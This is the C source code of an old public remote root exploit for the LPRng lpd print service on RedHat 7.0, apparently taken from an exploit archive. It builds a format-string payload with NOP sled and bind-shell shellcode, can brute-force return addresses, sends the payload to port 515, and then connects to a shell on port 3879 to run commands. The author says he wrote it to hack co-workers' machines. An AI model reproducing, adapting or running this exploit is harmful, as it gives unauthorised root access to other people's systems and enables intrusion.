/* * Copyright (c) 2000 - Security.is * * The following material may be freely redistributed, provided * that the code or the disclaimer have not been partly removed, * altered or modified in any way. The material is the property * of security.is. You are allowed to adopt the represented code * in your programs, given that you give credits where it's due. * * security.is presents: LPRng/Linux remote root lpd exploit. * * Author: DiGiT - teddi@linux.is * * Thanks to: portal for elite formatstring talent ;> * Greets to: security.is, #!ADM * * Wrote it because I wanted to hack my co-workers machines ;> * * Run: ./SEClpd victim brute -t type * Try first ./SEClpd victim -t 0 then try the brute. */ #include #include #include #include #include #include #include #include #include #include #include #include #define ADDRESS_BUFFER_SIZE 32+4 #define APPEND_BUFFER_SIZE 52 #define FORMAT_LENGTH 512-8 #define NOPCOUNT 200 #define SHELLCODE_COUNT 1030 #define DELAY 50000 /* usecs */ #define OFFSET_LIMIT 5000 char shellcode[] = "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80" "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; struct target { char *os_name; u_long eip_address; u_long shellcode_address; unsigned int position; int written_bytes; int align; }; struct target targets[] = { { "RedHat 7.0 - Guinesss ", 0xbffff3ec, 0L, 300, 70, 2, }, { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2, }, { NULL, 0L, 0L, 0, 0, 0 } }; static char address_buffer[ADDRESS_BUFFER_SIZE+1]; static char append_buffer[APPEND_BUFFER_SIZE+1]; static char shellcode_buffer[1024]; static char *hostname=NULL; static int offset; static struct hostent *he; int type=-1; int brute=-1, failure=1; void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc) { int i; unsigned int tmp = 0; unsigned int copied = previous; unsigned int num[4] = { (unsigned int) (shellcode_addr & 0x000000ff), (unsigned int)((shellcode_addr & 0x0000ff00) >> 8), (unsigned int)((shellcode_addr & 0x00ff0000) >> 16), (unsigned int)((shellcode_addr & 0xff000000) >> 24) }; memset (address_buffer, '\0', sizeof(address_buffer)); memset (append_buffer, '\0', sizeof(append_buffer)); for (i = 0; i < 4; i++) { while (copied > 0x100) copied -= 0x100; if ( (i > 0) && (num[i-1] == num[i]) ) sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); else if (copied < num[i]) { if ( (num[i] - copied) <= 10) { sprintf (append_buffer+strlen(append_buffer), "%.*s", (int)(num[i] - copied), "security.is!"); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } else { sprintf (append_buffer+strlen(append_buffer), "%%.%du", num[i] - copied); copied += (num[i] - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } } else { tmp = ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp); copied += ((num[i] + 0x100) - copied); sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i); } sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c", (unsigned char) ((eip_addr+i) & 0x000000ff), (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8), (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16), (unsigned char)(((eip_addr+i) & 0xff000000) >> 24)); } while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE) strcat (address_buffer, "X"); #ifdef DEBUG printf ("\nGeneration complete:\nAddress: "); for (i = 0; i < strlen(address_buffer); i++) { if ( ((i % 4) == 0) && (i > 0) ) printf ("."); printf ("%02x", (unsigned char)address_buffer[i]); } printf ("\nAppend: %s\n", append_buffer); #endif return; } char *create_malicious_string(void) { static char format_buffer[FORMAT_LENGTH+1]; long addr1,addr2; int i; memset (format_buffer, '\0', sizeof(format_buffer)); targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; addr1 = targets[type].eip_address; addr2 = targets[type].shellcode_address; calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position); (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s", targets[type].align, "BBBB", address_buffer); strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1); strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1); for(i = 0 ; i < NOPCOUNT ; i++) strcat(format_buffer, "\x90"); strcat(format_buffer, shellcode); return (format_buffer); } int connect_victim() { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char buff[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (3879); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); return -1; } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { return -1; } if(brute) printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address); printf("- [+] shell located on %s\n", hostname); printf("- [+] Enter Commands at will\n\n"); failure = -1; FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); send(sockfd, testcmd, strlen(testcmd), 0); while(1) { FD_SET(sockfd,&fd_stat); FD_SET(0,&fd_stat); if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break; if( FD_ISSET(sockfd, &fd_stat) ) { if((n=read(sockfd,buff,sizeof(buff)))<0){ fprintf(stderr, "EOF\n"); return 2; } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_stat) ) { if((n=read(0,buff,sizeof(buff)))<0){ fprintf(stderr,"EOF\n"); return 2; } if(send(sockfd,buff,n,0)<0) break; } } } void send_code(char *exploit_buffer) { int sockfd, n; struct sockaddr_in s; fd_set fd_stat; char recv[1024]; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; s.sin_family = AF_INET; s.sin_port = htons (515); s.sin_addr.s_addr = *(u_long *)he->h_addr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { printf ("--- [5] Unable to create socket!\n"); printf("Exploit failed!\n"); exit(-1); } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { printf ("--- [5] Unable to connect to %s\n", hostname); printf("Exploit failed, %s is not running LPD!\n", hostname); exit(-1); } usleep(DELAY); if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0) { printf ("Couldn't write to socket %d", sockfd); printf ("Exploit failed\n"); exit(2); } close(sockfd); connect_victim(); } void usage(char *program) { int i=0; printf("SEClpd by DiGiT of ADM/security.is ! \n\n"); printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr] [-w written_bytes] \n\n", program); printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n"); printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n"); printf("Types:\n\n"); while( targets[i].os_name != NULL) printf ("[ Type %d: [ %s ]\n", i++, targets[i].os_name); } int main(int argc, char **argv) { char exploit_buffer[1024]; char *format = NULL; int c, brutecount=0; if(argc < 3) { usage(argv[0]); return 1; } hostname = argv[1]; if(!strncmp(argv[2], "brute", 5)) brute = 1; while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){ switch (c) { case 't': type = atoi(optarg); break; case 'r': targets[type].eip_address = strtoul(optarg, NULL, 16); break; case 'c': targets[type].shellcode_address = strtoul(optarg, NULL, 16); break; case 'a': targets[type].align = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case 'p': targets[type].position = atoi(optarg); break; case 'w': targets[type].written_bytes = atoi(optarg); break; default: usage(argv[0]); return 1; } } if(type < 0) { printf("You must specify a type!\n"); printf("example: ./SEClpd victim -t 0\n"); return -1; } if ( (he = gethostbyname (hostname)) == NULL) { herror("gethostbyname"); exit(1); } targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT; printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n"); printf("+++ Exploit information\n"); printf("+++ Victim: %s\n", hostname); printf("+++ Type: %d - %s\n", type, targets[type].os_name); printf("+++ Eip address: 0x%x\n", targets[type].eip_address); printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address); printf("+++ Position: %d\n", targets[type].position); printf("+++ Alignment: %d\n", targets[type].align); printf("+++ Offset %d\n", offset); printf("\n"); printf("+++ Attacking %s with our format string\n", hostname); if( brute > 0 ) { printf("+++ Brute force man, relax and enjoy the ride ;>\n"); targets[type].eip_address = 0xbffffff0; while(failure) { memset(exploit_buffer, '\0', sizeof(exploit_buffer)); format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); targets[type].eip_address = 0xbffffff0 - offset; offset+=4; if (offset > OFFSET_LIMIT) { printf("+++ Offset limit hit, ending brute mode ;<\n"); return -1; } } } else format = create_malicious_string(); strcpy(exploit_buffer, address_buffer); strcat(exploit_buffer, format); strcat(exploit_buffer, "\n"); send_code(exploit_buffer); printf("Argh exploit failed$#%! try brute force!\n"); return (-1); } // milw0rm.com [2000-12-11]

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